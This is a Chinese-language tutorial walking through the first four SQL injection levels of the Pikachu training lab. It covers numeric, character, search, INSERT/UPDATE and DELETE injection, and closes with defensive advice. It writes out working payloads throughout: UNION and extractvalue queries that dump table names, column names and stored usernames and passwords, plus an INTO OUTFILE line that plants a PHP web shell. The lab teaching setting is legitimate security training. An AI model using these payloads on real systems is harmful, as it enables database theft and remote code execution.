pikachu之sql篇前四关
字数 746 2025-08-11 21:26:16

SQL注入漏洞实战教学 - Pikachu靶场前四关详解

一、数字型注入(POST)

漏洞原理

数字型注入发生在应用程序直接将用户输入拼接到SQL查询中,且未对输入进行任何过滤处理。

核心漏洞代码:

$id=$_POST['id']; //未过滤直接使用
$query="select username,email from member where id=$id";

利用步骤

  1. 判断注入点

    • 通过修改id参数值测试是否存在注入
  2. 判断列数

    id=1 order by 3  # 测试3列时显示不存在
    id=1 group by 2  # 也可用group by测试
    
  3. 获取数据库信息

    id=1 union select database(),user()
    id=0 union select database(),user()  # 使用0不显示原始数据
    
  4. 获取表名

    id=0 union select 1,table_name from information_schema.tables where table_schema='pikachu'
    
  5. 获取列名

    id=0 union select 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='users'
    
  6. 获取用户数据

    id=0 union select 1,concat(username,password) from users
    
  7. 文件写入(需足够权限)

    id=1 union select 1,'<?php assert($_POST[1]);?>' into outfile 'C:/phpstudy_pro/WWW/pikachu/vul/sqli/1.php'#
    

二、字符型/搜索型/XX型注入(GET)

与数字型的主要区别

  • 闭合方式不同,需要正确处理引号

各类型闭合方式

  1. 字符型注入

    id=1' [payload] -- 
    
  2. 搜索型注入

    id=1%' [payload] -- 
    
  3. XX型注入

    id=1') [payload] -- 
    

三、INSERT/UPDATE注入

漏洞原理

当用户输入被直接拼接到INSERT或UPDATE语句中时,可能通过精心构造的输入执行SQL注入。

利用步骤

  1. 确定闭合方式

    • 通过源码分析或测试确定闭合方式,示例中为')
  2. 报错注入获取数据库名

    username=a' or extractvalue(1,concat(0x7e,(select database()))),'1','2','3','4','5')#
    password=6
    

    username=a' or extractvalue(1,concat(0x7e,(select database()))) or '
    password=6
    
  3. 获取表名

    username=' or extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e)),'2','3','4','5','6')#
    password=666666
    
  4. 获取列名

    username=1 ' and extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,31),0x7e)),'2','3','4','5','6')#
    password=666666
    
  5. 获取用户数据

    username=1 ' and extractvalue(1,concat(0x7e,substr((select group_concat(username,password) from users),1,31))),'2','3','4','5','6')#
    password=666666
    

注意事项

  • 使用substr函数分段获取数据,避免因数据过长导致报错
  • 优先使用and而非or,减少意外结果

四、DELETE注入

漏洞原理

当应用程序在DELETE语句中直接使用未过滤的用户输入时,可能导致注入。

利用思路

  1. 拦截DELETE请求
  2. 在id参数处构造报错注入
    id=1 or extractvalue(1,concat(0x7e,(select database())))
    

注意事项

  • 需要应用程序返回详细的错误信息
  • 实际环境中可能受权限限制

防御建议

  1. 使用预处理语句(参数化查询)

    $stmt = $link->prepare("SELECT username,email FROM member WHERE id=?");
    $stmt->bind_param("i", $id);
    
  2. 输入验证与过滤

    • 对数字型参数强制类型转换
    • 对字符串参数进行转义
  3. 最小权限原则

    • 数据库连接使用最低必要权限
  4. 错误处理

    • 避免向用户显示详细的数据库错误信息
  5. Web应用防火墙(WAF)

    • 部署WAF拦截常见注入攻击

通过本教程,您应该已经掌握了Pikachu靶场前四关SQL注入的基本原理和利用方法。请仅将这些技术用于合法的安全测试和教学目的。

SQL注入漏洞实战教学 - Pikachu靶场前四关详解 一、数字型注入(POST) 漏洞原理 数字型注入发生在应用程序直接将用户输入拼接到SQL查询中,且未对输入进行任何过滤处理。 核心漏洞代码: 利用步骤 判断注入点 通过修改id参数值测试是否存在注入 判断列数 获取数据库信息 获取表名 获取列名 获取用户数据 文件写入(需足够权限) 二、字符型/搜索型/XX型注入(GET) 与数字型的主要区别 闭合方式不同,需要正确处理引号 各类型闭合方式 字符型注入 搜索型注入 XX型注入 三、INSERT/UPDATE注入 漏洞原理 当用户输入被直接拼接到INSERT或UPDATE语句中时,可能通过精心构造的输入执行SQL注入。 利用步骤 确定闭合方式 通过源码分析或测试确定闭合方式,示例中为 ') 报错注入获取数据库名 或 获取表名 获取列名 获取用户数据 注意事项 使用 substr 函数分段获取数据,避免因数据过长导致报错 优先使用 and 而非 or ,减少意外结果 四、DELETE注入 漏洞原理 当应用程序在DELETE语句中直接使用未过滤的用户输入时,可能导致注入。 利用思路 拦截DELETE请求 在id参数处构造报错注入 注意事项 需要应用程序返回详细的错误信息 实际环境中可能受权限限制 防御建议 使用预处理语句(参数化查询) 输入验证与过滤 对数字型参数强制类型转换 对字符串参数进行转义 最小权限原则 数据库连接使用最低必要权限 错误处理 避免向用户显示详细的数据库错误信息 Web应用防火墙(WAF) 部署WAF拦截常见注入攻击 通过本教程,您应该已经掌握了Pikachu靶场前四关SQL注入的基本原理和利用方法。请仅将这些技术用于合法的安全测试和教学目的。